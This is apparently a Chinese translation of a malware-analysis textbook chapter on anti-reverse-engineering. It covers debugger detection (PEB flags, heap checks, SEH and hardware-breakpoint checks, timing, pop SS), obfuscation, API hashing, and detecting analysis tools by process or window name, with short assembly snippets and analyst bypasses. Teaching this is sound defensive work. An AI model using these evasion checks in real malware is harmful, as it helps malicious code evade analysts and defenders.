  • 摆脱调试器

  • 理解混淆技术和反反汇编器

  • 检测并规避行为分析工具

  • 检测沙盒和虚拟机

探索调试器检测

为了让恶意软件作者能够继续其操作而不被防病毒产品或任何打击行动打断,他们必须反击并为他们的工具配备各种反向工程技术。调试器是恶意软件分析师用来剖析恶意软件并揭示其功能的最常用工具。因此,恶意软件作者实施各种反调试技巧,以使分析更加复杂,并隐藏其功能和配置细节(主要是命令与控制服务器C&C)。

使用 PEB 信息

Windows 提供了多种方法来识别调试器的存在;其中许多方法依赖于BeingDebugged中存储的信息,当进程在调试器下运行时,它的值为True。为了访问此标志,恶意软件可以执行以下指令:

mov  eax, dword ptr fs:[30h]     ; PEB
cmp  byte ptr [eax+2], 1 ; PEB.BeingDebugged
jz  <debugger_detected>

如你所见,这里使用fs:[30h]技术找到了 PEB 的指针。恶意软件还可以通过许多其他方式获取 PEB:

  • 通过使用fs:[18h]获取指向 TEB 结构的指针,然后通过偏移量 0x30 查找 PEB。

  • 通过使用NtQueryInformationProcess API 并传递ProcessBasicInformation参数,可以返回PROCESS_BASIC_INFORMATION结构,其中第二个字段PebBaseAddress将包含 PEB 地址。

可以使用IsDebuggerPresent API 来执行完全相同的检查。

NtGlobalFlag是 PEB 中的另一个字段,在 32 位系统上位于偏移量 0x68,在 64 位系统上位于 0xBC,可以用于调试器检测。在正常执行过程中,此标志被设置为零,但当调试器附加到进程时,该标志会设置为以下三个值:

  • FLG_HEAP_ENABLE_TAIL_CHECK (0x10)

  • FLG_HEAP_ENABLE_FREE_CHECK (0x20)

  • FLG_HEAP_VALIDATE_PARAMETERS (0x40)

恶意软件可以通过执行以下指令来检查调试器的存在:

mov eax, fs:[30h] ; Process Environment Block
mov al, [eax+68h] ; NtGlobalFlag
and al, 70h ; Other flags can also be checked this way 
cmp al, 70h ; 0x10 | 0x20 | 0x40
je <debugger_detected>

在这里,恶意软件倾向于通过将这些标志组合成 0x70 的值(使用按位或操作)来检查所有这些标志的存在。

以下逻辑可用于在 64 位环境中检测调试器:

push 60h
pop rsi
gs:lodsq ; Process Environment Block
mov al, [rsi*2+rax-14h] ; NtGlobalFlag 
and al, 70h
cmp al, 70h
je <debugger_detected>

这个例子更棘手,因为我们应该记住lodsq指令会将rsi寄存器的值增加 8(QWORD 的大小)。因此,最终的偏移量将是(0x60 + 0x8)*2 – 0x14 = 0xBC,正如之前提到的那样。

最后,为了检测调试器,恶意软件还可以使用存储在 PEB 中的ProcessHeap结构(32 位的偏移量为 0x18,64 位为 0x30,WoW64 兼容性级别为 0x1030)。该结构有两个感兴趣的字段:

  • Flags(32 位:XP 上的偏移量为 0x0c,Vista+上为 0x40;64 位:XP 上的偏移量为 0x14,Vista+上为 0x70):通常,恶意软件可以检查 0x40000062 位的存在来揭示调试器,或者反过来检查值是否是默认值(2)。

  • ForceFlags(32 位:XP 上的偏移量为 0x10,Vista+上为 0x44;64 位:XP 上的偏移量为 0x18,Vista+上为 0x74):在这里,恶意软件可以检查当调试器存在时,0x40000060 位是否被设置,或者如果没有调试器,则不会设置这些位。

除了直接访问外,可以使用GetProcessHeapRtlGetProcessHeaps API 找到指向ProcessHeap结构的指针。可以通过RtlQueryProcessHeapInformationRtlQueryProcessDebugInformation API 读取ProcessHeap结构中Flags字段的值。

最后,设置这些标志的原因是,当调试器附加时,堆尾检查将被启用,系统将在分配的块的末尾添加0xABABABAB签名。因此,恶意软件可以分配一个堆块并检查该签名是否存在,从而识别调试器的存在:

图 6.1 – 通过堆尾检查检测调试器的存在

图 6.1 – 通过堆尾检查检测调试器的存在

绕过这些检查的常见方法是用NOP指令覆盖它们,或在它们的开始设置一个断点以跳过检查。此外,可以使用专用的调试器插件来更改内存中 PEB 结构的值。

使用 EPROCESS 信息

EPROCESS是另一个系统结构,包含有关进程的信息,可以揭示调试器的存在:

  • 如果进程正在使用远程调试器调试,则DebugPort字段非零。

  • Flags字段包含NoDebugInherit标志,当调试器存在时,该标志被设置为 1。

与 PEB 不同,该结构位于内核模式,因此普通进程无法直接读取它。然而,恶意软件可以使用专门的 API 读取其值:

  • CheckRemoteDebuggerPresent:它会检查 EPROCESS 结构体中的 DebugPort 字段。

  • NtQueryInformationProcess:这取决于以下参数:

    • 使用 ProcessDebugPort(7)参数时,它会检查 DebugPort 字段,如果进程正在被调试,则返回 -1。

    • 使用 ProcessDebugFlags (0x1F) 时,它会返回一个相反的 NoDebugInherit 值。

使用 DebugObject

当调试器存在时,系统会创建一个专用的 DebugObject。虽然此时恶意软件无法判断是它的样本正在被调试,还是可能是其他东西,但对于某些恶意软件编写者来说,这仍然是一个警示信号。他们可以使用以下 API 来检查其存在:

  • NtQueryInformationProcess:使用 ProcessDebugObjectHandle(0x1E)参数时,如果存在,它会返回 DebugObject 的句柄。

  • NtQueryObject:使用 ObjectAllTypesInformation 参数,它可以用来通过名称查找 DebugObject

使用句柄

在这里,恶意软件可能会利用调试器附加与不附加时句柄管理行为的差异。例如,CloseHandle(或 NtClose)API 可以用来尝试关闭一个无效句柄。如果调试器已附加,则会触发 EXCEPTION_INVALID_HANDLE(0xC0000008)异常,从而揭示其存在。

另一个不太可靠的选项是使用 CreateFile 以独占访问模式打开恶意软件的文件。由于某些调试器会保持已分析文件的句柄打开,因此在调试器下此操作可能会失败,从而揭示它。

使用异常

调试器被设计用来拦截各种类型的异常,以便能够执行它们的所有功能。恶意软件可以故意触发某些异常,并检测调试器的存在,如果其异常处理程序(关于结构化异常处理SEH 的更多信息将在后面讨论)没有接收到控制权。此方法的示例可以涉及以下 API:

  • RaiseException / RtlRaiseException / NtRaiseException 可用来触发与调试器相关的异常,例如 DBG_CONTROL_CDBG_CONTROL_BREAKDBG_RIPEVENT

  • GenerateConsoleCtrlEvent 配合 CTRL_C_EVENTCTRL_BREAK_EVENT 参数可以用来生成 Ctrl + CCtrl + Break 事件。如果 BeingDebugged 标志被设置(当调试器附加时),系统会生成 DBG_CONTROL_C 异常(或 DBG_CONTROL_BREAK 异常),恶意软件可能会尝试拦截它。

  • SetUnhandledExceptionFilter 可以用来设置一个自定义函数来处理未处理的异常。如果调试器已附加,函数将不会执行,因为控制权会传递给调试器。

使用父进程

还有一种值得一提的技术是,进程可以通过检查父进程的名称来检测它是否是由调试器创建的。Windows 操作系统在进程信息中设置进程 ID 和父进程 ID。通过父进程 ID,你可以检查它是否是正常创建的(例如,使用 explorer.exe),或者是否是由调试器创建的(例如,通过检测名称中是否存在 dbg 子字符串)。

恶意软件获取父进程 ID 的常见技术有两种,列举如下:

  • 使用 CreateToolhelp32SnapshotProcess32FirstProcess32Next 遍历正在运行的进程列表(正如我们在 第五章 中所看到的,检查进程注入与 API 劫持,涉及进程注入)。这些 API 不仅返回进程名称和 ID,还返回更多信息,例如恶意软件正在寻找的父进程 ID。

  • 使用 NtQueryInformationProcess API。将 ProcessBasicInformationSystemProcessInformation 作为参数传递时,该 API 会返回包含父进程 ID 的结构,在 InheritedFromUniqueProcessId 字段中,如下图所示:

图 6.2 – 使用 NtQueryInformationProcess 获取父进程

图 6.2 – 使用 NtQueryInformationProcess 获取父进程

在获取到父进程 ID 后,下一步是获取进程名称或文件名,以检查它是否是常见调试器的名称,或者其名称中是否包含 dbgdebug 子字符串。有两种常见的方法可以从进程 ID 获取进程名称,如下所示:

  • 以相同的方式遍历进程以获取父进程 ID,但这次攻击者通过提供先前获取的父进程 ID 来获取进程名称。

  • 使用 GetProcessImageFileNameA API 获取给定进程句柄的文件名。为了获取有效的句柄,恶意软件将使用 OpenProcess API,并将 PROCESS_QUERY_INFORMATION 作为必需参数。

此 API 返回进程文件名,稍后可以检查该文件名,以检测它是否是调试器。

另一种常见的恶意软件检测调试过程的方法是断点检测,因此我们接下来将更详细地讨论这个话题。

处理调试器断点规避

另一种检测调试器或规避它们的方法是检测其断点。无论是软件断点(如 INT3)、硬件断点、单步断点(陷阱标志)还是内存断点,恶意软件都可以检测到这些断点,并可能移除它们以逃避逆向工程控制。

检测软件断点(INT3)

这种类型的断点是最容易使用且最容易检测到的。正如我们在第二章《汇编语言与编程基础快速教程》中所述,这种断点通过将第一个字节替换为 0xCC(INT3指令)来修改指令字节,从而触发异常(错误),并将其传递给调试器处理。

由于它会修改内存中的代码,因此扫描内存中的代码段以寻找INT3字节非常容易。一个简单的扫描过程可能像这样:

图 6.3 – 一个简单的INT3扫描

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_6.3_B18500.jpg)

图 6.3 – 一个简单的INT3扫描

这种方法的唯一缺点是,一些 C++编译器在每个函数结束时都会写入INT3指令作为填充字节。INT3字节(0xCC)还可能出现在某些指令内部,作为地址或值的一部分,因此通过代码搜索这个字节可能并不是一个有效的解决方案,且可能会返回大量误报。

恶意软件常用的另外两种技术用于扫描INT3断点,如下所示:

  • 为整个代码段预计算校验和,并在执行模式下重新计算。如果值发生变化,那么说明有一些字节被修改过,要么是通过修补,要么是通过设置INT3断点。这是使用rol指令实现的示例:

    mov esi,<CodeStart>
    mov ecx,<CodeSize>
    xor eax,eax
    ChecksumLoop:
    movzx edx,byte [esi]
    add eax,edx
    rol eax,1
    inc esi
    loop .checksum_loop
    cmp eax, <Correct_Checksum>
    jne <breakpoint_detected>
    
  • 读取恶意软件样本文件,并将文件中的代码段与内存版本进行比较。如果它们之间有任何差异,意味着恶意软件已在内存中被修补,或代码中加入了软件断点(INT3)。这种技术不常用,因为如果恶意软件样本的重定位表已被填充,这种方法并不有效(有关更多信息,请查看第三章,《x86/x64 的基本静态和动态分析》)。

避免软件断点检测的最佳解决方案是使用硬件断点、单步执行(代码跟踪),或者在代码段的不同位置设置内存访问断点。一旦内存访问断点被触发,就可以找到校验和计算代码,并通过修补校验和代码本身来处理,如下图所示:

图 6.4 – 用于检测INT3扫描/校验和计算循环的代码段内存访问断点

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_6.4_B18500.jpg)

图 6.4 – 用于检测INT3扫描/校验和计算循环的代码段内存访问断点

在前面的截图中,我们设置了一个断点,INT3扫描循环或校验和计算循环。

通过修补校验和计算器末尾的检查或使用与之相反的jz/jnz检查,可以轻松绕过此技术。

使用陷阱标志检测单步执行断点

另一种广泛使用的断点检测技术是陷阱标志检测。当您逐条跟踪指令,检查它们在内存和寄存器值上的变化时,调试器会在 EFLAGS 寄存器中设置陷阱标志位(TF),该标志位负责在下一条指令停止并将控制权交还给调试器。

这个标志并不容易捕获,因为 EFLAGS 并不是直接可读的。它只能通过 pushf 指令读取,该指令将此寄存器的值保存到堆栈中。由于该标志在返回调试器后始终被设置为 False,因此很难检查该标志的值并检测单步断点。然而,仍然有一种方法可以做到这一点。

在 x86 架构中,有多个如今不常用的寄存器。这些寄存器在虚拟内存出现之前的 DOS 操作系统中使用,尤其是段寄存器。除了您已经了解的 FS 寄存器外,还有其他段寄存器,例如 CS,指向代码段;DS,指向数据段;以及 SS,指向堆栈段。

pop SS 指令相当特殊。该指令用于从堆栈中获取一个值,并根据该值更改堆栈段(或地址)。因此,如果在执行此指令时发生任何异常,可能会导致混乱(例如,哪一个堆栈将用于存储异常信息?)。因此,在执行此指令时不允许有任何异常或中断,包括任何断点或陷阱标志。

如果您正在跟踪这条指令,调试器会移动光标,跳过下一条指令,直接跳到后面的指令。这并不意味着跳过的指令没有执行;它已经执行了,但没有被调试器中断。

例如,在以下代码中,您的调试器光标将从 POP SS 移动到 MOV EAX, 1,跳过 PUSHFD 指令,即使该指令已经执行:

PUSH SS
POP SS
PUSHFD ; your debugger wouldn't stop on this instruction
MOV EAX, 1 ; your debugger will automatically stop on this instruction.

这里的技巧是,在前面的例子中,陷阱标志会在执行 pushfd 指令时保持设置,但它不会被允许返回到调试器。因此,pushfd 指令会将 EFLAGS 寄存器推送到堆栈中,包括陷阱标志的实际值(如果已设置,它会显示在 EFLAGS 寄存器中)。然后,恶意软件可以轻松检查陷阱标志是否被设置,并检测到调试器。下面的截图展示了一个例子:

图 6.5 – 使用 SS 寄存器进行陷阱标志检测

图 6.5 – 使用 SS 寄存器进行陷阱标志检测

值得一提的是,一些调试器,如新版的 x64dbg,已经意识到这一技巧,并且不会以这种方式暴露 TF 位。

这是检查代码跟踪或单步调试的一种直接方法。另一种检测方法是通过监控执行指令或一组指令时经过的时间,这也是我们将在下一节中讨论的内容。

使用计时技术检测单步调试

有多种方法可以精确获取系统开启到当前指令执行之间的毫秒级时间。x86 指令rdtsc可以返回 EDX:EAX 寄存器中的时间。通过计算执行某条指令前后的时间差,任何延迟都会被清晰显示出来,这代表了通过代码的逆向工程追踪。以下截图展示了一个例子:

图 6.6 – 使用 rdtsc 指令检测单步调试

图 6.6 – 使用 rdtsc 指令检测单步调试

这条指令不是获取任意时刻时间的唯一方法。Windows 提供了多个 API,帮助程序员获取准确的时间,列举如下:

  • GetLocalTime/GetSystemTime

  • GetTickCount

  • QueryPerformanceCounter

  • timeGetTime/timeGetSystemTime

这种技术使用广泛,且比 SS 段寄存器技巧更常见。最好的解决方法是修补指令。如果你已经在逐步调试指令,检测它非常容易;你可以修补代码,或者直接将指令指针(EIP/RIP)设置为指向检查之后的代码。

躲避硬件断点

硬件断点基于在用户模式下无法访问的寄存器。因此,恶意软件很难检查这些寄存器并清除它们以移除这些断点。

为了让恶意软件能够访问它们,它需要将它们压入堆栈并再从中取出。为了实现这一点,许多恶意软件家族依赖于 SEH。

什么是 SEH?

为了让任何程序能够处理异常,Windows 提供了一种叫做 SEH 的机制。它基于设置回调函数来处理异常,然后继续执行。如果该回调未能处理异常,它可以将异常传递给上一个设置的回调。如果最后一个回调也无法处理该异常,操作系统会终止进程并通知用户未处理的异常,通常还会建议用户将其发送给开发公司。

第一个回调函数的指针存储在线程环境块TEB)中,可以通过 FS:[0x00]访问。该结构是一个链表,这意味着列表中的每一项都包含回调函数的地址,并且跟随在前一项地址之后(即上一个回调)。在堆栈中,链表的结构如下:

图 6.7 – 堆栈中的 SEH 链表

图 6.7 – 堆栈中的 SEH 链表

SEH 回调的设置通常如下所示:

PUSH <callback_func> // Address of the callback function
PUSH FS:[0] // Address of the previous callback item in the list
MOV FS:[0],ESP // Install the new EXCEPTION_REGISTRATION

如你所见,SEH 链表大多数保存在堆栈中。每个项都指向前一个。当发生异常时,操作系统执行这个回调函数,并将关于异常和线程状态的必要信息传递给它(寄存器、指令指针等)。这个回调函数有能力修改寄存器、指令指针和整个线程上下文。回调函数返回后,操作系统采用修改后的线程状态和寄存器(称为上下文),并基于此恢复执行。回调函数如下所示:

_cdecl _except_handler( 
   struct _EXCEPTION_RECORD *ExceptionRecord, 
   void * EstablisherFrame, 
   struct _CONTEXT *ContextRecord, 
   void * DispatcherContext 
);

重要的参数如下:

  • ExceptionRecord:该结构包含与已生成的异常或错误相关的信息。它包含异常代码号、地址和其他信息。

  • ContextRecord:这是一个结构体,表示异常发生时该线程的状态。它是一个长结构,包含所有寄存器和其他信息。该结构的一个片段如下所示:

    struct CONTEXT { 
    DWORD ContextFlags;
    DWORD DR[7];
    FLOATING_SAVE_AREA FloatSave;
    DWORD SegGs;
    DWORD SegFs;
    DWORD SegEs;
    DWORD SegDs;
    DWORD Edi;
    ....
    };
    

有多种方法可以通过 SEH 检测调试器。其中一种方法是通过检测并移除硬件断点。

检测硬件断点

为了检测或移除硬件断点,恶意软件可以使用 SEH 获取线程上下文,检查 DR 寄存器的值,如果检测到调试器,则退出。代码如下:

xor eax, eax
push offset except_callback
push d fs:[eax]
mov fs:[eax], esp
int 3 ; force an exception to occur
...
except_callback:
mov eax, [esp+0ch] ; get ContextRecord
mov ecx, [eax+4] ; Dr0
or ecx, [eax+8]  ; Dr1
or ecx, [eax+0ch] ; Dr2
or ecx, [eax+10h] ; Dr3
jne <Debugger_Detected>

另一种检测硬件断点的方法是使用GetThreadContext API 访问当前线程(或其他线程)的上下文,并检查是否存在硬件断点,或者使用SetThreadContext API 清除它们。

处理这些技术的最佳方法是,在GetThreadContextSetThreadContext或异常回调函数上设置断点,以确保它们不会重置或检测到你的硬件断点。

内存断点

我们将讨论的最后一种断点类型是内存断点。针对它们的技术并不常见,但它们是可能的。内存断点可以通过使用ReadProcessMemory API 并将恶意软件的基址作为参数、其映像大小作为大小来轻松检测。如果恶意软件的任何页面被保护(PAGE_GUARD)或设置为无访问保护(PAGE_NOACCESS),ReadProcessMemory将返回False

对于恶意软件样本,检测写入或执行时的内存断点,它可以通过VirtualQuery API 查询任何内存页的保护标志。或者,它可以通过使用带有PAGE_EXECUTE_READWRITE参数的VirtualProtect来规避这些断点,从而覆盖它们。

处理这些反调试技巧的最佳方法是,在所有这些 API 上设置断点,并强制它们返回所需的结果给恶意软件,从而恢复正常执行。

现在,是时候讨论恶意软件如何尝试逃避调试器了。

脱离调试器

除了检测调试器并移除其断点之外,恶意软件还使用多种技巧来完全逃避整个调试环境。我们来看看一些最常见的技巧。

进程注入

我们之前在第五章中讨论过进程注入,检查进程注入与 API 挂钩。进程注入是一种非常著名的技术,不仅用于浏览器中的“中间人”攻击,还用于将调试中的进程逃离,进入一个未被调试的进程。通过将代码注入到另一个进程中,恶意软件可以逃脱调试器的控制,并在调试器附加到进程之前执行代码。

一种常用的绕过该技巧的解决方案是在注入代码的入口点添加一个无限循环指令,直到代码被执行。通常,这个指令是在注入器代码中,通常是在 WriteProcessMemory 调用之前(此时代码尚未注入),或者是在 CreateRemoteThread 之前,这时代码会注入到另一个进程的内存中。

可以通过写入两个字节(0xEB 0xFE)来创建一个无限循环,这两个字节表示一个 jmp 指令,使其跳转到自身,如下截图所示:

图 6.8 – 注入的 JMP 指令,用于创建无限循环

图 6.8 – 注入的 JMP 指令,用于创建无限循环

接下来,我们将讨论另一种流行的技术——使用 TLS 回调。继续阅读!

TLS 回调

许多逆向工程师从恶意软件的入口点开始调试,这通常是有道理的。然而,一些恶意代码可能会在入口点之前就开始执行。有些恶意软件家族使用线程局部存储TLS)来执行初始化每个线程的代码(这段代码在线程的实际代码开始之前运行)。这使得恶意软件能够逃避调试,并进行一些初步检查,甚至可能在入口点使用良性代码的同时以这种方式运行大部分恶意代码。

在 PE 头的 数据目录 块中,有一个 TLS 条目的入口。它通常存储在 .tls 区段中,其结构如下所示:

图 6.9 – TLS 结构

图 6.9 – TLS 结构

这里,AddressOfCallBacks 指向一个以零结尾的回调函数数组(最后一个元素为零),这些回调函数会在每次创建线程后依次调用。任何恶意软件都可以将其恶意代码设置为在 AddressOfCallBacks 数组内启动,并确保这些代码在入口点之前执行。

针对这个技巧的一种解决方案是在调试恶意软件之前检查 PE 头,并在 AddressOfCallBacks 字段中注册的每个回调函数上设置断点。此外,IDA 会将这些回调函数与入口点和导出函数(如果存在)一起显示。

Windows 事件回调

另一种恶意软件作者用来规避逆向工程师单步调试和断点的方法是通过设置回调函数。回调函数会在特定事件发生时被调用(例如鼠标点击、键盘敲击或窗口移到最前面)。如果你在单步调试恶意软件指令时,回调函数仍会被执行,而你不会注意到。另外,如果你根据代码流设置断点,它仍然会绕过你的断点。

设置回调函数的方式有很多。因此,我们这里只提到其中的两种,如下所示:

  • 使用RegisterClass API:RegisterClass API 用于创建一个窗口类,该类可以用于创建窗口。此 API 接受一个名为WNDCLASSA的结构作为参数。WNDCLASSA结构包含与窗口相关的所有必要信息,包括图标、光标图标、样式,以及最重要的回调函数,用于接收窗口事件。代码如下所示:

    MOV  DWORD PTR [WndCls.lpfnWndProc], <WindowCallback>
    LEA  EAX, DWORD PTR SS:[WndCls]
    PUSH EAX ; pWndClass
    CALL <JMP.&user32.RegisterClassA> ; RegisterClassA
    
  • 使用SetWindowLong:设置窗口回调的另一种方法是使用SetWindowLong。如果你有窗口句柄(来自EnumWindowsFindWindow或其他 API),你可以调用SetWindowLong API 来更改窗口回调函数。以下是代码示例:

    PUSH <WindowCallback>
    PUSH GWL_DlgProc
    PUSH hWnd ; Window Handle
    CALL SetWindowLongA
    

针对这种情况,最好的解决方案是在所有注册回调或其回调函数的 API 上设置断点。你可以检查恶意软件的导入表、任何调用GetProcAddress的函数或其他动态解析和调用 API 的函数。

攻击调试器

在某些情况下,恶意软件可能会尝试攻击调试会话。例如,BlockInput API 可以用于阻止鼠标和键盘事件,使附加的调试器无法使用。另一个类似的选项是使用SwitchDesktop来隐藏调试器的鼠标和键盘事件。

说到线程,NtSetInformationThread API 与ThreadHideFromDebugger(0x11)参数可以用于将线程隐藏起来,使调试器无法看到。任何发生在隐藏线程中的异常,包括触发的断点,都不会被调试器拦截,反而会导致程序崩溃。最后,恶意软件还可以使用SuspendThread/NtSuspendThread API 来对调试器的线程本身进行攻击。

这些是恶意软件可能尝试影响调试过程的最常见方式。接下来,让我们谈谈各种类型的混淆技术。

理解混淆技术和反反汇编器

反汇编工具是逆向工程中最常用的工具之一,因此它们是恶意软件作者的攻击目标。现在,我们将看看恶意软件在代码混淆上使用的不同技术,使其更难以被逆向工程师分析。

加密

加密是最常见的技术,它还能保护恶意软件免受静态杀毒软件签名的检测。恶意软件可以加密自己的代码,并拥有一个小的存根代码,在执行恶意代码之前解密它。此外,恶意软件还可以加密自己的数据,例如包括 API 名称的字符串或整个配置块。

处理加密并不总是容易的。一种解决方案是执行恶意软件并在解密后转储内存。例如,现在许多沙箱可以对被监控的进程进行转储,这有助于你获得解密后的恶意软件。

但是,对于像加密字符串并按需解密每个字符串这样的情况,你需要逆向加密算法,并编写脚本遍历所有解密函数的调用,利用它的参数解密字符串。你可以查看第四章解包、解密和去混淆,以了解如何处理加密并编写此类脚本。

垃圾代码

另一个在许多样本中使用并在 1990 年代末和 2000 年代初变得越来越流行的技术是垃圾代码插入。通过这种技术,恶意软件作者插入大量永远不会被执行的代码。例如,这些代码可以放在无条件跳转、永不返回的调用或条件跳转且条件永远不会满足的地方。此代码的主要目的是浪费逆向工程师分析无用代码的时间,或者让代码图看起来比实际复杂。

另一个类似的技术是插入无效代码。这些无效代码可能是像noppushpopincdec,或者是重复相同的指令。这些指令的组合看起来像真实的代码;然而,实际上相同的操作会被编码得简单得多,正如你在以下截图中看到的那样:

图 6.10 – 无意义的垃圾代码

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_6.10_B18500.jpg)

图 6.10 – 无意义的垃圾代码

这种垃圾代码有不同的形式,包括指令的扩展;例如,inc edx变成add edx, 3sub edx, 2,以此类推。通过这种方式,可以混淆实际的值,如 0x5a4D(MZ)或任何其他可能代表此子程序特定功能的值。

这种技术自 1990 年代起就在变形引擎中存在,但一些家族仍然使用它来混淆他们的代码。

值得提到的是,虽然存储在本地变量中的字符串分析起来更复杂,但以下不是这种技术的示例,而是一个合法编译器的行为:

图 6.11 – 存储在本地变量中的字符串

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_6.11_B18500.jpg)

图 6.11 – 存储在本地变量中的字符串

现在,让我们来谈谈代码传输技术。

代码传输

恶意软件作者常用的另一个技巧是代码传输。这种技术不会插入垃圾代码,而是通过大量的无条件跳转(包括call + pop 或总为真或总为假的条件跳转)重新安排每个子程序中的代码。

这使得函数图看起来非常复杂,难以分析,从而浪费逆向工程师的时间。以下截图展示了这样的代码示例:

图 6.12 – 使用无条件跳转进行代码传输

图 6.12 – 使用无条件跳转进行代码传输

还有一种更复杂的形式,恶意软件会将每个子程序的代码重新安排到其他子程序的中间。这种形式使得反汇编工具更难连接每个子程序,因为它会错过函数末尾的ret指令,从而不将其视为一个函数。

其他一些恶意软件家族不会在子程序末尾放置ret指令,而是用popjmp来代替,隐藏该子程序不被反汇编工具识别。这些只是代码传输和垃圾代码插入技术的多种形式之一。

使用校验和的动态 API 调用

动态 API 调用是许多恶意软件家族使用的一种著名的反反汇编技巧。其背后的主要原因是,通过这种方式,它们可以将 API 名称隐藏在静态分析工具之外,使得理解恶意软件中每个函数的功能更加困难。

对于恶意软件作者来说,要实现这一技巧,他们需要预先计算该 API 名称的校验和,并将该值作为参数传递给一个扫描不同库的导出表并通过此校验和查找 API 的函数。以下截图展示了这个例子:

图 6.13 – 库和 API 名称的校验和(哈希)

图 6.13 – 库和 API 名称的校验和(哈希)

解决函数的代码实际上会通过库的 PE 头,遍历导出表,并计算每个 API 的校验和,与作为参数提供的给定校验和(或哈希值)进行比较。

这种方法的解决方案可能需要编写脚本,遍历所有已知的 API 名称并计算它们的校验和。或者,它可能需要多次执行此函数,分别输入每个校验和,并保存相应的 API 名称。

代理函数和代理参数堆叠

Nymaim 银行木马通过增加一些额外的技巧,如代理函数和代理参数堆叠,将反反汇编技巧提升到了另一个层次。

使用代理函数技术,恶意软件不会直接调用所需的函数;相反,它调用一个代理函数,该函数计算所需函数的地址并将执行转移到那里。Nymaim 包含了超过 100 个不同的代理函数,使用了四到五种不同的算法。代理函数调用如下所示:

图 6.14 – 用于计算函数地址的代理函数参数

图 6.14 – 用于计算函数地址的代理函数参数

代理函数的代码如下所示:

图 6.15 – Nymaim 代理函数

图 6.15 – Nymaim 代理函数

对于参数,Nymaim 使用一个函数将参数推送到堆栈,而不是仅仅使用 push 指令。这一技巧可以防止反汇编工具识别传递给每个函数或 API 的参数。代理参数堆叠的示例如下:

图 6.16 – Nymaim 中的代理参数堆叠技术

图 6.16 – Nymaim 中的代理参数堆叠技术

该恶意软件包括了我们在本节中介绍的多种不同形式的技术。因此,只要掌握了主要思路,你应该能够理解所有这些技术。

使用 COM 功能

恶意软件可能尝试通过不同的技术实现与动态解析哈希值来隐藏 API 名称相同的效果。一个好的例子是使用 Wscript.Shell COM 对象的功能来执行程序,而不是直接调用 CreateProcessShellExecuteWinExec 等 API,这些 API 会立刻引起研究人员的注意。为了创建该对象,恶意软件可以使用 CoCreateInstance API,并指定所需对象的类形式为 IID,如下截图所示:

图 6.17 – 通过其 IID 创建 Wscript.Shell 对象的实例,F935DC21-1CF0-11d0-ADB9-00C04FD58A0B

图 6.17 – 通过其 IID 创建 Wscript.Shell 对象的实例,F935DC21-1CF0-11d0-ADB9-00C04FD58A0B

之后,实际方法将通过其偏移量进行访问。为了通过偏移量查找方法的名称,你可以使用 COMView 工具:

图 6.18 – 通过在汇编中找到的偏移量查找 COM 对象方法的名称

图 6.18 – 通过在汇编中找到的偏移量查找 COM 对象方法的名称

如你所见,Wscript.Shell 类的 Run 方法通过其偏移量 36 (0x24) 来访问。

如我们所见,混淆可以有多种形式,所以你了解的示例越多,找到处理它的正确方法所需的时间就越短。现在,是时候学习如何使用恶意软件检测行为分析工具了。

检测和规避行为分析工具

恶意软件可以通过多种方式检测并规避行为分析工具,如 ProcMon、Wireshark、API Monitor 等,即使这些工具并没有直接调试恶意软件或与其交互。在本节中,我们将讨论两种常见的恶意软件规避方法。

查找工具进程

恶意软件处理恶意软件分析工具(以及杀毒工具)的一种最简单且最常见的方法是循环检查所有正在运行的进程,并检测任何不需要的条目。然后,它可以终止或停止它们,以避免进一步分析。

第五章检查进程注入和 API Hook 中,我们讲解了恶意软件如何使用 CreateToolhelp32SnapshotProcess32FirstProcess32Next APIs 循环检查所有正在运行的进程。在这个反反向工程技巧中,恶意软件以完全相同的方式使用这些 API 来检查进程名是否与不需要的进程名或其哈希值匹配。如果匹配,恶意软件会终止自身,或者通过调用 TerminateProcess API 来杀死该进程。以下截图展示了这个技巧在 Gozi 恶意软件中的实现:

图 6.19 – Gozi 恶意软件循环检查所有正在运行的进程

图 6.19 – Gozi 恶意软件循环检查所有正在运行的进程

以下截图展示了 Gozi 恶意软件代码的一个示例,使用 TerminateProcess API 通过自定义的 ProcOpenProcessByNameW 程序终止其选择的进程:

图 6.20 – Gozi 恶意软件借助 ProcOpenProcessByNameW 函数终止进程

图 6.20 – Gozi 恶意软件借助 ProcOpenProcessByNameW 函数终止进程

这个技巧可以通过在执行工具之前重命名它们来绕过。如果你避免在新名称中使用任何已知的关键词,如dbg反汇编器AV等,这个简单的解决方案可以完美地隐藏你的工具。

查找工具窗口

另一种技巧是,不搜索工具的进程名,而是搜索其窗口名称(窗口标题)。通过搜索程序窗口名称,恶意软件可以绕过任何可能对进程名进行的重命名,这也为它提供了检测新工具的机会(大多数情况下,窗口名称比进程名称更具描述性)。

这个技巧可以通过以下两种方式实现:

  • 使用FindWindow:恶意软件可以使用完整的窗口标题,如Microsoft network monitor,或者窗口类名。窗口类名是在窗口创建时分配给它的名称,它与窗口上显示的标题不同。例如,OllyDbg的窗口类名是OLLYDBG,而完整标题可能会根据正在分析的恶意软件进程名称而变化。以下是一个示例:

    push NULL
    push .szWindowClassOllyDbg
    call FindWindowA
    test eax,eax
    jnz <debugger_found>
    push NULL
    push .szWindowClassWinDbg
    call FindWindowA
    test eax,eax
    jnz <debugger_found>
    .szWindowClassOllyDbg db "OLLYDBG",0
    .szWindowClassWinDbg db "WinDbgFrameClass",0
    
  • 使用EnumWindows:另一种避免搜索窗口类名或处理窗口标题变化的方法是遍历所有可访问的窗口名称并扫描它们的标题,寻找诸如DebuggerWiresharkDisassembler等可疑的窗口名称。这是一种更灵活的处理新工具或恶意软件作者遗忘覆盖的工具的方法。使用EnumWindows API 时,你需要设置一个回调函数来接收所有窗口。

对于每个顶级窗口,这个回调函数将接收到该窗口的句柄,从中可以使用GetWindowText API 获取其名称。以下是一个示例:

图 6.21 – FinFisher 威胁利用 EnumWindows 设置其回调函数

图 6.21 – FinFisher 威胁利用 EnumWindows 设置其回调函数

回调函数的声明如下所示:

BOOL CALLBACK EnumWindowsProc(
_In_ HWND hwnd,
_In_ LPARAM lParam);

hwnd值是窗口的句柄,而lParam是用户定义的参数(由用户传递给回调函数)。恶意软件可以使用这个句柄(hwnd)与GetWindowText API 获取窗口标题,并与预定义的关键词列表进行比对。

